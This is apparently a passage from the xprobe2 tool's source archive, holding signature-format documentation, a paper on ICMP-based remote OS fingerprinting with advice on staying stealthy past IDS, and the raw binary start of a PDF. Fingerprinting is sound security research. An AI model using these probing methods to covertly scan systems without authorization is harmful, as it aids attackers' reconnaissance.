length field value. In some cases it might not be echoed correctly - echoing a value less than 20 bytes than the original value (<20), echoing a value higher with 20 bytes than the original value (>20), or the accurate value (OK). icmp_unreach_echoed_3bit_flags = [OK, FLIPPED] - The IP Header's 3bit flags echoed value. This parameter can take the value of either OK, when the 3bit flags were echeod correctly, or FLIPPED when the 3bit flags and the fragmentation offset will make a nice mess... Module F (Xprobe modules number 8) Examines a SYN | ACK response received from an open TCP ports on the target machine as a reply to a SYN request sent by Xprobe2. #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = [0, ] - The value of the received TOS field. Can be set to any hex value using 0x, or to a numerical value. tcp_syn_ack_df = [0 , 1 ] - The IP Header's Don't Fragment Bit. Either set (1) or not (0). tcp_syn_ack_ip_id = [0 , !0, SENT ] - The IP header's IP ID value of the received SYN | ACK. Can be set to 0, a value other than zero (!0), and if the IP ID value of the received SYN | ACK is the same as of the SYN sent, to SENT. tcp_syn_ack_ttl = [>< decimal num] - The IP Header's Time-to-Live field value (see Module A for more information). #Information from the TCP header tcp_syn_ack_ack = [] - The values of the received ACK minus the value of the sent SYN. Usually will be 1. Can be set to any numerical value tcp_syn_ack_window_size = [] - The initial window size with the SYN | ACK. tcp_syn_ack_options_order = ["order"] - The OPTIONS order received with the SYN ACK. Represented by the following keywords - NOP, TIMESTAMP, WSCALE, MSS. A space should be used between keywords tcp_syn_ack_wscale = [, NONE] - The numerical value of the WSCALE option, if presented. If not presented use NONE. Contributing your signatures ============================ Send us your new fingerprints to ofir@sys-security.com. More Information ================ For more information please see: http://www.sys-security.com/html/papers.html xprobe2-0.3/docs/xprobe-phrack.txt000755 001751 000000 00000042505 10271643770 017441 0ustar00mederwheel000000 000000 $Id: xprobe-phrack.txt,v 1.1 2002/08/08 11:25:56 fygrave Exp $ ICMP based remote OS TCP/IP stack fingerprinting techniques. (Theory, Code, Future development) Authors: Ofir Arkin Fyodor Yarochkin --[ICMP based fingerprinting approach]-- TCP based remote OS fingerprinting is quite old(*1) and well-known these days, here we would like to introduce an alternative method to determine an OS remotely based on ICMP responses which are received from the host. Certain accuracy level has been achieved with different platforms, which, with some systems or or classes of platforms (i.g. Win*), is significally more precise than demonstrated with TCP based fingerprinting methods. As mentioned above TCP based method, ICMP fingerprinting utilizes several tests to perform remote OS TCP/IP stack probe, but unlike TCP fingerprinting, a number of tests required to identify an OS could vary from 1 to 4 (as of current development stage). ICMP fingerprinting method is based on certain discoveries on differencies of ICMP replies from various operating systems (mostly due to incorrect, or inconsistant implementation), which were found by Ofir Arkin during his "ICMP Usage in Scanning" research project. Later these discoveries were summarised into a logical desicions tree which Ofir entitled "X project" and practically implemented in 'Xprobe' tool. --[Information/Noise ratio with ICMP fingerprints]-- As it's been noted, the number of datagrams we need to send and receive in order to remotely fingerprint a targeted machine with ICMP based probes is small. Very small. In fact we can send one datagram and receive one reply and this will help us identify up to eight different operating systems (or classes of operating systems). The maximum datagrams which our tool will use at the current stage of development, is four. This is the same number of replies we will need to analyse. This makes ICMP based fingerprinting very time-efficient. ICMP based probes could be crafted to be very stealthy. As on the moment, no maliformed/broken/corrupted datagrams are used to identify remote OS type, unlike the common fingerprinting methods. Current core analysis targets validation of received ICMP responses on valid packets, rather than crafting invalid packets themselves. Heaps of such packets appear in an average network on daily basis and very few IDS systems are tuned to detect such traffic (and those which are, presumably are very noisy and badly configured). --[Why it still works?]-- Inheritable mess among various TCP/IP stack implementations with ICMP handling implementations which implement different RFC standards (original RFC 792, additional RFC 1122, etc), partial or incomplete ICMP support (various ICMP requests are not supported everywhere), low significance of ICMP Error messages data (who verifies all the fields of the original datagram?!), mistakes and misunderstanding in ICMP protocol implementation made our method viable. --[What do we fingerprint:]-- Several OS-specific differencies are being utilized in ICMP based fingerprinting to identify remote operating system type: IP fields of an 'offending' datagram to be examined: * IP total length field Some operating systems (i.g. BSD family) will add 20 bytes (sizeof(ipheader)) to the original IP total length field (which occures due to internal processing mistakes of the datagram, please note when the same packet is read from SOCK_RAW the same behaviour is seen: returned packet ip_len fiend is off by 20 bytes). Some other operating systems will decrease 20 bytes from the original IP total lenth field value of the offending packet. Third group of systems will echo this field correctly. * IP ID some systems are seen not to echo this field correctly. (bit order of the field is changed). * 3 bits flags and offset some systems are seen not to echo this field correctly. (bit order of the field is changed). * IP header checksum Some operating systems will miscalculate this field, others just zero it out. Third group of the systems echoes this field correctly. * UDP header checksum (in case of UDP datagram) The same thing could happen with UDP checksum header. IP headers of responded ICMP packet: * Precedence bits Each IP Datagram has an 8-bit field called the 'TOS Byte', which represents the IP support for prioritization and Type-of-Service handling. The 'TOS Byte' consists of three fields. The 'Precedence field'\cite{rfc791}, which is 3-bit long, is intended to prioritize the IP Datagram. It has eight levels of prioritization. Higher priority traffic should be sent before lower priority traffic. The second field, 4 bits long, is the 'Type-of-Service' field. It is intended to describe how the network should make tradeoffs between throughput, delay, reliability, and cost in routing an IP Datagram. The last field, the 'MBZ' (must be zero), is unused and must be zero. Routers and hosts ignore this last field. This field is 1 bit long. The TOS Bits and MBZ fields are being replaced by the DiffServ mechanism for QoS. RFC 1812 Requires following for IP Version 4 Routers: "4.3.2.5 TOS and Precedence ICMP Source Quench error messages, if sent at all, MUST have their IP Precedence field set to the same value as the IP Precedence field in the packet that provoked the sending of the ICMP Source Quench message. All other ICMP error messages (Destination Unreachable, Redirect, Time Exceeded, and Parameter Problem) SHOULD have their precedence value set to 6 (INTERNETWORK CONTROL) or 7 (NETWORK CONTROL). The IP Precedence value for these error messages MAY be settable". Linux Kernel 2.0.x, 2.2.x, 2.4.x will act as routers and will set their Precedence bits field value to 0xc0 with ICMP error messages. Networking devices that will act the same will be Cisco routers based on IOS 11.x-12.x and Foundry Networks switches. * DF bits echoing Some TCP/IP stacks will echo DF bit with ICMP Error datagrams, others (like linux) will copy the whole octet completely, zeroing certain bits, others will ignore this field and set their own. * IP ID filend (linux 2.4.0 - 2.4.4 kernels) Linux machines based on Kernel 2.4.0-2.4.4 will set the IP Identification field value with their ICMP query request and reply messages to a value of zero. This was later fixed with Linux Kernels 2.4.5 and up. * IP ttl field (ttl distance to the target has to be precalculated to guarantee accuracy). "The sender sets the time to live field to a value that represents the maximum time the datagram is allowed to travel on the Internet". The field value is decreased at each point that the IP header is being processed. RFC 791 states that this field decreasement reflects the time spent processing the datagram. The field value is measured in units of seconds. The RFC also states that the maximum time to live value can be set to 255 seconds, which equals to 4.25 minutes. The datagram must be discarded if this field value equals zero - before reaching its destination. Relating to this field as a measure to assess time is a bit misleading. Some routers may process the datagram faster than a second, and some may process the datagram longer than a second. The real intention is to have an upper bound to the datagram lifetime, so infinite loops of undelivered datagrams will not jam the Internet. Having a bound to the datagram lifetime help us to prevent old duplicates to arrive after a certain time elapsed. So when we retransmit a piece of information which was not previously delivered we can be assured that the older duplicate is already discarded and will not interfere with the process. The IP TTL field value with ICMP has two separate values, one for ICMP query messages and one for ICMP query replies. The IP TTL field value helps us identify certain operating systems and groups of operating systems. It also provides us with the simplest means to add another check criterion when we are querying other host(s) or listening to traffic (sniffing). TTL-based fingeprinting requires a TTL distance to the done to be precalculated in advance (unless a fingerprinting of a local network based system is performed system). The ICMP Error messages will use values used by ICMP query request messages. A good statistics of ttl dependancy on OS type has been gathered at: http://www.switch.ch/docs/ttl_default.html (Research paper on default ttl values) * TOS field RFC 1349 defines the usage of the Type-of-Service field with the ICMP messages. It distinguishes between ICMP error messages (Destination Unreachable, Source Quench, Redirect, Time Exceeded, and Parameter Problem), ICMP query messages (Echo, Router Solicitation, Timestamp, Information request, Address Mask request) and ICMP reply messages (Echo reply, Router Advertisement, Timestamp reply, Information reply, Address Mask reply). Simple rules are defined: * An ICMP error message is always sent with the default TOS (0x0000) * An ICMP request message may be sent with any value in the TOS field. "A mechanism to allow the user to specify the TOS value to be used would be a useful feature in many applications that generate ICMP request messages". The RFC further specify that although ICMP request messages are normally sent with the default TOS, there are sometimes good reasons why they would be sent with some other TOS value. * An ICMP reply message is sent with the same value in the TOS field as was used in the corresponding ICMP request message. Some operating systems will ignore RFC 1349 when sending ICMP echo reply messages, and will not send the same value in the TOS field as was used in the corresponding ICMP request message. ICMP headers of responded ICMP packet: * ICMP Error Message Quoting Size: All ICMP error messages consist of an IP header, an ICMP header and certain amount of data of the original datagram, which triggered the error (aka offending datagram). According to RFC 792 only 64 bits (8 octets) of original datagram are supposed to be included in the ICMP error message. However RFC 1122 (issued later) recommends up to 576 octets to be quoted. Most of "older" TCP stack implementations will include 8 octets into ICMP Errror message. Linux/HPUX 11.x, Solaris, MacOS and others will include more. Noticiably interesting is the fact that Solaris engineers probably couldn't not read RFC properly (since instead of 64 bits Solaris 2.x includes 64 octets (512 bits) of the original datagram. * ICMP error Message echoing integrity Another artifact which has been noticed is that some stack implementations, when sending back an ICMP error message, may alter the offending packet's IP header and the underlying protocol data, which is echoed back with the ICMP error message. Since mistakes, made by TCP/IP stack programmers are different and specific to an operating system, an analysis of these mistakes could give a potential attacker a a possibilty to make assumptions about the target operating system type. Additional tweaks and twists: * Using difererent from zero code fields in ICMP echo requests When an ICMP code field value different than zero (0) is sent with an ICMP Echo request message (type 8), operating systems that will answer our query with an ICMP Echo reply message that are based on one of the Microsoft based operating systems will send back an ICMP code field value of zero with their ICMP Echo Reply. Other operating systems (and networking devices) will echo back the ICMP code field value we were using with the ICMP Echo Request. The Microsoft based operating systems acts in contrast to RFC 792 guidelines which instruct the answering operating systems to only change the ICMP type to Echo reply (type 0), recalculate the checksums and send the ICMP Echo reply away. * Using DF bit echoing with ICMP query messages As in case of ICMP Error messages, some tcp stacks will respond these queries, while the others: will not. * Other ICMP messages: * ICMP timestamp request * ICMP Information request * ICMP Address mask request Some TCP/IP stacks support these messages and respond to some of these requests. --[Xprobe implementation]-- Currently Xprobe deploys hardcoded logic tree, developed by Ofir Arkin in 'Project X'. Initially a UDP datagram is being sent to a closed port in order to trigger ICMP Error message: ICMP unreachable/port unreach. (this sets up a limitation of having at least one port not filtered on target system with no service running, generically speaking other methods of triggering ICMP unreach packet could be used, this will be discussed further). Moreover, a few tests (icmp unreach content, DF bits, TOS ...) could be combined within a single query, since they do not affect results of each other. Upon the receipt of ICMP unreachable datagram, contents of the received datagram is examined and a diagnostics decision is made, if any further tests are required, according to the logic tree, further queries are sent. --[ Logic tree]--- Quickly recapping the logic tree organization: Initially all TCP/IP stack implementations are split into 2 groups, those which echo precedence bits back, and those which do not. Those which do echo precendence bits (linux 2.0.x, 2.2.x, 2.4.x, cisco IOS 11.x-12.x, Extreme Network Switches etc), being differentiated further based on ICMP error quoting size. (Linux sticks with RFC 1122 here and echoes up to 576 octets, while others in this subgroup echo only 64 bits (8 octets)). Further echo integrity checks are used to differentiate cisco routers from Extreme Network switches. Time-to-live and IP ID fields of ICMP echo reply are being used to recognize version of linux kernel. The same approach is being used to recognize other TCP/IP stacks. Data echoing validation (amounts of octets of original datagram echoed, checksum validation, etc). If additional information is needed to differ two 'similar' IP stacks, additional query is being sent. (please refer to the diagram at http://www.sys-security.com/html/projects/X.html for more detailed explanation/graphical representation of the logic tree). One of the serious problems with the logic tree, is that adding new operating system types to it becomes extremely painful. At times part of the whole logic tree has to be reworked to 'fit' a single description. Therefore a singature based fingerprinting method took our closer attention. --[Sinature based approach]-- Singature based approach is what we are currently focusing on and which we believe will be further, more stable, reliable and flexible method of remote ICMP based fingerprints. Signature-based method is currently based on five different tests, which optionally could be included in each operating system fingerprint. Initally the systems with lesser amount of tests are being examined (normally starting with ICMP unreach test). If no single OS stack found matching received signature, those stacks which match a part, being grouped again, and another test (based on lesser amounts of tests issued principle) is choosen and executed. This verification is repeated until an OS stack, completely matching the signature is found, or we run out of tests. Currently following tests are being deployed: * ICMP unreachable test (udp closed port based, host unreachable, network unreachable (for systems which are believed to be gateways) * ICMP echo request/reply test * ICMP timestamp request * ICMP information request * ICMP address mask request --[future implementations/development]-- Following issues are planned to be deployed (we always welcome discussions/suggestions though): * Fingerprints database (currently being tested) * Dynamic, AI based logic (long-term project :)) * Tests would heavily dependent on network topology (pre-test network mapping will take place). * Path-to-target test (to calculate hops distance to the target) filtering devices probes. * Future implementations will be using packets with actual application data to dismiss chances of being detected. * other network mapping capabilities shall be included ( network role identification, search for closed UDP port, reachability tests, etc). --[code for kids]-- Currently implemented code and further documentation is available at following locations: http://www.sys-security.com/html/projects/X.html http://xprobe.sourceforge.net http://www.notlsd.net/xprobe/ xprobe2-0.3/docs/xprobe2-defcon10.pdf000755 001751 000000 00000653320 10271643770 017607 0ustar00mederwheel000000 000000 %PDF-1.3 %âãÏÓ 89 0 obj << /Linearized 1 /O 91 /H [ 761 656 ] /L 218832 /E 69245 /N 20 /T 216934 >> endobj xref 89 16 0000000016 00000 n 0000000668 00000 n 0000001417 00000 n 0000001571 00000 n 0000001718 00000 n 0000002357 00000 n 0000002397 00000 n 0000002624 00000 n 0000004510 00000 n 0000004745 00000 n 0000005291 00000 n 0000005369 00000 n 0000037971 00000 n 0000040649 00000 n 0000000761 00000 n 0000001395 00000 n trailer << /Size 105 /Info 87 0 R /Root 90 0 R /Prev 216924 /ID[<77c46455b204c04518e2c0cf933f7185>] >> startxref 0 %%EOF 90 0 obj << /Type /Catalog /Pages 85 0 R /Metadata 88 0 R /PageLabels 83 0 R >> endobj 103 0 obj << /S 562 /L 663 /Filter /FlateDecode /Length 104 0 R >> stream H‰b```f``úÉÀÂÀÀ*à Ȁ‚ l@ÈÂÀ1.Ô¸ a× ç;ˆ±H=àŒe[ըǨ° ø‚»×îö%L- u2T&_‹ä‹9:Ùçð•IaP Z$Œ¼6’(äñ öVY:E¡àŒO"“íä©&[ª.Stê·œp„Ó˜M6Ø;£É«5M$vò9CaC§p…e3ZÛ-'4–v NvU¿¦²Uªò†R‘è f>ß GlÛC.ÝR˜´0²Uœ£°…çÈc×àH›Ó£"Ý[8L΄\âRum÷9ØÂ£æo 3?F-ØàÁ›Â):Ó84—>4Pdöy|S&•S·‰+³ÂÉçÀ‰¢NE§C2 G C&uGº8p6dQHD3“ ÁIV&“3“D8ŽÉ,òÐQ<Æã,lñ-Ôd[‡ÊаD× Œ @ß³et€Ø ‚¢`&“jX”É¡˜”MC!¢`] ¡iP&£hXT¹`Dq(\?“T•  THB¦…Aæ30p€ô@Å@)%˜v"HZ10~ÌÒ<@¬ŽW †"†l¦p {7»ÃaÆ_ jõF\~y_™ö0¤30Ì`(d˜Ë°·¥‚a­¢5Ãñ ËÍ$6ˆ70,•ÚʰMÆa'ÃFVXZ b`vYò{I2Ëû endstream endobj 104 0 obj 540 endobj 91 0 obj << /Type /Page /Parent 84 0 R /Resources 92 0 R /Contents 96 0 R /MediaBox [ 0 0 612 792 ] /CropBox [ 0 0 612 792 ] /Rotate 0 >> endobj 92 0 obj << /ProcSet [ /PDF /Text ] /Font << /TT2 93 0 R /TT4 98 0 R >> /ExtGState << /GS1 99 0 R >> /ColorSpace << /Cs6 94 0 R >> >> endobj 93 0 obj << /Type /Font /Subtype /TrueType /FirstChar 32 /LastChar 169 /Widths [ 250 219 0 0 0 0 729 0 292 292 427 0 219 313 219 500 469 469 469 469 469 469 469 469 469 469 219 219 0 667 667 365 917 677 615 635 771 656 563 771 760 354 333 740 573 833 771 781 563 0 625 479 615 708 677 885 698 656 656 0 0 0 0 500 0 406 510 417 500 417 323 448 510 229 229 469 229 771 510 510 510 490 333 365 292 490 469 667 458 417 427 479 500 479 0 0 0 0 0 0 0 1000 0 0 0 0 0 0 0 0 0 0 0 219 219 448 448 0 500 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 760 ] /Encoding /WinAnsiEncoding /BaseFont /ECGMAH+Garamond /FontDescriptor 95 0 R >> endobj 94 0 obj [ /ICCBased 101 0 R ] endobj 95 0 obj << /Type /FontDescriptor /Ascent 861 /CapHeight 671 /Descent -263 /Flags 34 /FontBBox [ -139 -307 1063 986 ] /FontName /ECGMAH+Garamond /ItalicAngle 0 /StemV 81.108 /XHeight 0 /FontFile2 100 0 R >> endobj 96 0 obj << /Length 1811 /Filter /FlateDecode >> stream H‰´WÝnÛ6¾÷Sp75TŒDý÷ªi» X²8a~(BH40+Ìp‰¶¿iö]ëå ÎÏÀ¤õư˜‡&HÏ/À¬Àó#0%p/hÓ¢Z€!üm– а¦Çüƒ‡ *Ï—¼m›OU;g·«jtäºÅ·„/Oúu¤, ¥(,´9@káóùŸ°D·¢0B·Æ¯¤”—¯ÎN…¹ÈŠ,'Un-Ó@D1K㹇ڛøD­Ø*1‹D¥¢ˆ’DË0LD$Y* !­Ù„²<„¼±,ìù·q¬k€(bȈ˜F_G§p%ÕLõP²[ÏO€{v%0ÃRŒÝu@¦nÉž 1ਲ਼ :ƒÉCÒ{ájãçG"HQOϰ“Ê ìU~%„h[s¨—eKvS¾X°¾MIcKÙ `àUûÊC5` ;öu¹8´•éÄ¢Ù}…Ù«nݪ‡ò•©€º†ŠJ©v¢.Í™ ÄÆ/²v¾)1|–ñ;g{×6‡ý3VM¶_—åãwïïÞ²÷ê^ÓS>k e5.ŠQ}“>*¡c0Û‚Öì_‚#üêꈅ:åÇ£ÀgÝi,ç ÷ñXÊÝ8‹»-¾´­ 䦣féCtÉÙË õå'ª›ø9%ë±Ünñ;pì¡Z¢¬]¡T Ô•:QÉÅ)29çäÄ›[¶‹«µªjÐTÝ@Mû ŒÞ7ÛfÝ +õÇùìßv½zj endstream endobj 97 0 obj << /Type /FontDescriptor /Ascent 861 /CapHeight 671 /Descent -263 /Flags 34 /FontBBox [ -147 -372 1168 996 ] /FontName /ECGMGD+Garamond,Bold /ItalicAngle 0 /StemV 132.22501 /XHeight 0 /FontFile2 102 0 R >> endobj 98 0 obj << /Type /Font /Subtype /TrueType /FirstChar 32 /LastChar 146 /Widths [ 250 0 0 0 0 0 802 281 354 354 0 0 0 333 260 552 469 396 469 469 469 469 469 469 469 0 260 0 0 0 0 0 0 656 677 677 781 0 615 0 865 396 0 0 0 917 844 792 615 0 698 510 688 760 0 896 688 656 0 0 0 0 0 500 0 479 552 469 552 469 302 542 552 281 0 531 260 844 552 521 552 0 344 417 313 552 458 708 500 469 469 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 250 250 ] /Encoding /WinAnsiEncoding /BaseFont /ECGMGD+Garamond,Bold /FontDescriptor 97 0 R >> endobj 99 0 obj << /Type /ExtGState /SA false /SM 0.02 /TR2 /Default >> endobj 100 0 obj << /Filter /FlateDecode /Length 32510 /Length1 44076 >> stream H‰|V PT×þÎ9÷Þ\+XdÕÜõwW|‹Ht»Èú«ÆîòPÑUÑ‚5)ÖXÛ N m¢M¢­Ž¤“»j¢mJ;MÓ¦æ5#N[ÛŒÆLÆÇ$4h«ÜþwlÒsø¹ÿëü÷ûgö‚HD –.Y–=­ª4Ð t#íâê†päÖçɇ€»v¾zG£º{ãò7Éöw@ ­¬k¸}ë±+€œGréºÍk?ù÷qö`Oy]m¸æugÊŠ×KgfÕ‘"iQÜ* þ;$§×546=}ögÉ/ «7n®³7×GÆ’j7Elav“Î?Iþê¦pCí¥ê¦ç€“u„gLdó¶FÂMëd‘el­d}ãöh 9P~CušEb$4À¼8@w{Í;¤ÿn_ Ê`8þwµ½ÑÏš_²¾àÔkß¡/u´]ÈÂD§=“M‡å8ÈâñVã¤ËÂV<x :’H÷8ž…„ ÒOÆt¬¡ógHÎBŽb.jù:x0—'‹±H'n&ʰÇqØ 0LC›ñ Åxtoâ>gͤOÆäb €ísÞayì3Ñ‚Y˜,ÇZÔ¡ Ù8þÿ=œpQô9È£3ù¡–¢îÆ“8€Ãxo3…mg;Ø÷¹—oã;ùQ¡ˆdi³Übn‚JÙºém³cgƒxŒN7` >ˆã$^Æ%6ƒ5²&¶=îòdþ!ÿD¬=Rºô°TLX‡S •²Ë"SÃ|øQŠÅXB¹.§½Šn@="T¹hB3ž èûð=Ŧ¬R¶*»”ç•lY¶YqöâEÊeè:Œ8$KwhºÁ„|!¢ÔÁ},Ÿ²$~W\¥|&û žMó?O.æ¯ã&Îãò.RlØÆúä'Ø,,gTÍvö‘HeùR¶² Gu ßFÚ†×dîÆe~”&$ƒÇ‹?á4M+ÝõMf¯yƒæcMá0º¯%8ЗDèöcMtM~1Më9ºANTzsæäÌž1}ÚÔ)Ù“=nפ‡³&ff¤kœêCãÇu¤Iýêè”äQ_i‘”8|XB|œM‘%ÁÜ~­0¤™!CÊÔŠŠ<–¬…I¤*© ‡új(æ¦õô’çÚ<½ýžÞûžÌ®æ!ÏãVýšj¼åÓÔN¶²,@ü~ŸT1~QŒ—2cB" N'Pý©u>Õ`!Õoî¨Óý!Å‹K(Ð j¸EŠˆyˆ–Í&ZOTC´†ÈòYIþÛ‰VPŒƒį!h«DX®7{¤kpÈ)*.Œ–½˜*µ`.ñ_SR0‘wÃÅ;Ìeò5äJí¦t ‰liŠkÈ/“ø° LÝX$]3ïÈÈ ˜ÛRÌër;d/=½(â.¼K˜·p—ÙMÏ| f/ïÀ”{¾”‚ ¢‹I_`=y;BT‹DÒgÝT£nŠß…ôL ÷¥“^#*&J×PHq2(Ÿ-T¯’¢Ëì•+Í«¢c)žê7Kt3‡vpF)ÿXyLjò¶rÈÉÂoaúB"lë6ï¢;ƒ° ¡®ÁTOŒ.TQŒ%T×<’©ÖÑnþ‹ê0‚jï·ÈÖñ”ŸU+kF*Ýæî{8§Z3At FTg:—M±óä3pÑM–¼pS½ÿËy•ÀFu]ÑûþnC4›×Ⱦ±Ûþg×t#¶9¾Nÿ× ¾ŸáO2|Ûah ›÷Ä>N/Á{çŽI Èycó^Æ_:›¥Wí˜-ä¸Éðg‹šF®::Î'ˆ“‘̹ÅÖîÎú7Ëœ{8þ™áãêÌ{©ÏÐúËvÞBîÈžVY–vÓâì9q,rŸÛc¿³í¸Ëä\õ«È ¬}>3èRO³ìýÆpïlG< ßjyäÒ¦u<žëå?Aow¨A¾Jâ,üÕH\‡÷½òãä’ÏÓ“v»Ëé#‡ì~ßGn]MJ˜ž—5šh·_G;ƒ\uƒHQþ=øxg›×ð>@劄|wwÔÙôÇv=sgs±Þ'hª­i>»llCWúÓ×õ°ÿ<Ü#aïö.á ÙWŸÁWì/;+}†mùDÊbš T1ì1YeüÈãm_a>û~‚MõƒŒ¯tØ®ÇmÝF¥Ælô/!ÒÁ<úÏ3ÞG;¥3wÔBy3òÆyòAó.;Ætø7gÐD>†¼ñp9ãçä²ë8÷;\`ß pASÚxh w“Ý6ëXN>†òÅôß•;¶Ÿü%ªÕjÀXŸ=ö6¾xîF;wosîE¾sà.èô'ïB_^ç-^Ïeäý_“'«é‘œÕ¸†\Äùˆó·!o­ÁÝô ù›é9CÓy|GÁß“´fúέͨ¾GË‘ÿÚ‘ÿ+e¸3#þ^Á/1ôsb£š¢âþ·ÈÁ¯ØwÏ9©D9'TõHú/êéYÙò½<"å´13îmû_ëÿHï"gPØÏ‹ é=ZÁÀ¾IÿD”,£=‘A70ý$ö0ð-æÁ·á-`+´}¨vü½4 õÙ»ç‘B®á;l° XŠožKI©,±¡ÔLJSŽ·Wš·T¢89±†iRbG¥Γ’J)@¦ôp%¸TšhóÄDŒ»'Ú˜Çcš­±…(š‰'×™Iñabøq¼MH4·Æ[ù› ÍU–y¦õLû™˜<Ø:Ø>“!‰ ´ö Å…Äv3pJ|Jå€Èâg"œ¨4¯&EøX¥Y{E˜RÀ0 (äÁ3ž©‘)*ÂV©ðôú­þ†þîþá~-`âýCýj _ÐEÏņ‹C‡/ªI‘o¹ž¯0¿ ‡Ý¢j`¯¶Ï2`À~Û-j¬…"Ðí÷ô÷ªÔëé-ïµzz[z5ÊÚÑέF-xQrhx$¾'µG¢OOyL=¯õ ôÈžð8QŒÙŠñMß§ ·¸ŒœË˜ó2Õ‹ÕÀV`7`ˆ+VáN›UÔ'R}}C}Ã} õ•÷I\’ÞŠwiLl|«µÒܰ¦Í¬J ß±È!fï[àê×÷âd†¬üý0³ÿp…y82ËÜ©0«·EN£%×ÊWŠšÕI©Äò­™l®i+5«vÀbu{l›ò[SpòÕ­üÈ¡˜'&ÕEc¯Åâ±Tl ¦¶ÄÚcݱhL‰EОjbóƒ°<Öz(ÒfîªrÜ÷fé±Í<-ED<’Š D†"Ãuç–Y¨ÚèÙ8v‰ó8àó8`ÂSˆóPIövÞšN¹£'Ç“ëÉ äryš©—é’®M5«ÜZ™¶ZÛ­ýTÔÒš^¦-Ö$AIƒŽ›$˜ª„bÂT˜¬ YeÊe²$KX+m•^•NI×$•æÍC0ú¼†5?‰ù -­whCk*th¬C~‡|yr9”ëæb-ÿHo?1àuàpؼìvÛ€v`3°h"@“mw£c¾Í¡‡Æ9TàЇÜrHuH¶‚à!`øp ø%ð°{~…7Ç› ‡I‡†_±Ÿµö³Ì²ôè¯ôèËzô%=úœíÖ£OëÑÕzt™>Ñ(1ƃÆx£Ð(0üÆÃgxŒÑ†Ëe†f(†dR[}<õ4Õ·âŸ. biO,«Á:÷ÕSýÒº@®—ê—ÔÅ«Cõ8ůīBõñœ†HÓQ!¾ÝŒÚ¸ô­¤ ¥MØ2Wí-Šûf7€ŠžÙûBstï ÍÍþÐý¿‚{_D}ÃÎÐܦãºyA7×ꨫ_‚ª(WE/èQ»ª@$Ú¨­þ©}-è>ƒâ_L2²ËÜ Kê0WÓQƒêšg¯pø˜”; «n)*n®ó{Úµ·PS\ðlÑIüéx“rCÍqW°.žpÓ´ð´07!`¸i4ªÝ™¦‚gkŠ‹NŠ73MT{áOê…¨Ë^uÚeûEpYtt†B«:VeVØÕy·üï·ÑÑÙÙeSWgGúƒ:ºØXˆ:×ÙeÑIqyîú¤4vîú¸µ¯%Ήë\Q©( Î×:;ßµbs[p¿Ì݇Gpν3"D‰ÿlbÏø–!¿ åVn’~SHø+qƒÔò ‘À_Ü;—<—¨¶ÏéåÓ½ÅÞIÅÞb…>È©Ï-•>£€’‚¥]éĵˆò©˜.™’âÖ´qo˜¹îC9~"¿¢Œ?äö[~‰üçðŸñú¯ùÓ~Ýï–x}3ËV>³íÊ®™e_÷Î,+ðܺBµ·¯ÖN/@ –”Ê“K'Ïxø‘Ê þ]r Mϼ qòÍQª>:ðO*«?¶‰ó ßïìóï|¹³;ØŽãÄç8‰í؉C_L‚#`Rò CLJ–6JPÓ…¢­£°MjDª©l¢ BĶŽiHÒ´1mÝ´?ªt%Ó~° 4U¨L‹Ù{6Ÿî¾ûñZúÞ÷}ž÷yH^ŽU+ Y!Lx2UJf|Õ¸ F”ÖRx%‘PÕXø»ÅÃM ¥6[!sõÙÇÔMÃOÐ6Ô ~¬]›ÀLK ÈŠìV´|S/ßo4îe <%`Ñlöa߀Ç1àòx\®\}}.;Ò7rhäɈaäj+“{ò„ÆtðjŒ x|¤×åÅ5ÙG9Äõæ ]øú$Ùµßyÿ Éøé÷½Þp×~¢ ˆÁQ3LxÿQÆá%ü©&{3‘L:³+³?s,3ùZæR†ÉD «ckPºÂØ*ÔrmE¯èjRt$Å28“I¸¢ô*D¥× _ãëªuu¬‘Éõ Á\ÿõÞ@æôM˪Šç¨pÝ”õîÀçºû5¾¦Æ/rÛ{{;¼õ.üæJ‹éî@c¼òãÏ:Eí»·Â ½i¸S²‘'Œ©ä zý <öWéÿ†°¥ÿù«h›ì°ã ðØ&{ˆx,ßß×|~nêõüü].Ë•žÝ5 âEÿÌ8aØ:|¯súðæ¶h%OqviÇÞš<Ù>§t\=}¥«¾3e뎸QëoOí&ñv¹\{lê´¯w¶çà%âçãñþÙ™ýƒ‘Æ>·øÁÐ|ÈâÌÃR†£YO×Ãáou(NÃ>!í¯±wÔs9w|ÓÑ«;[Ží ñµÎíåãÚþCÛâÍéþµo°lŽOF¾w â`¡© ¬Ê|ÑLLRnà‰_“IFHdDÒó©[¸"RX[Ñû”†–4F±]¯Ô ²ÆŽR-P)BçB™^"bˆØúŒoo¬v´WIš¼­/3>m¯ÚÚ­Žf(w…‹ ¶Æ_½õháØý¿½œŒ1N>ß5‡ÑäºÏàê Ã/v"üì·E/R^äE]Z +òNG­ãŒãS‡ÁäÀŽSŒÕƒHæf„sÂ5Á€«P)D…œ0w„û#ò`ï: >Û?™øoÃ:¬B e8õ^[{þªHcâå wRÞÝ1zÆæËô´½Ïš‹šGÚ¼åì¶Cÿ˜½ø§§}âÉÆè®/Oþ0¢øáÅ—&šN¨çfüw²†âQÓÚI7øýD>‹bQØ(©’*SÚ•v¿¡ù¬_Îfý ÎÇ9cP´]%·…ñ›³¾<ËÊ©X>›MýBö)јÁߢºË7¶W8E‹UJ‚dØ,…ì-m=ÂÆž–ç¼ ˆdV¹^>/¢UžCo£ûè#ôQQ¤!‹ҰäÐq¤1¢ÈøXá“uf®­¬XW¬-:=u†&ŸŸÐûÈZ2R Y§9>\7ÇOÇÂå¥$M&‘ýÿ«#‰Pr)‘ÆëtJ@µÍŠÚ¤$6F&ÐHïÆ:¦J`‚ <”ZcŽÙŒUJ …Ó˜ÇÆÍ EΠ_°žåGÍTm5m$ ²0¸(Ie·F/Êšy—µœ½ wE±‘r[+1E¿3L|Põ ÃÛÈFóö@å‚ÛCŽoÂ@Þ‘¯‹&‹“å¶ UúÙ} Z²:¨¤D1eîj:Ï«ò†{-ULËBÅ_ä/6B‡÷ß³è«È‰ºobļ£IKøÅ;ˆ>esŠwjâ9û‚.)Çí3ösöì”} OhâqëÕžC”Öá Ð,@QĵæZõj=G§Rª°J]\<Þƒ9n4+˳`–‚u;ŽçŠoyi*v$´Áf³Ñ«MŠˆþ“ý©7úÁj£xˆhÂïƒvjaE%™ø¼HåÉ<º"æÍ’=¦?çä!ù¸<#¿-_“i«œ“ 92¬‡é‹"Ÿ”`¡C¢Lß]Ü¡:Ô˜ë 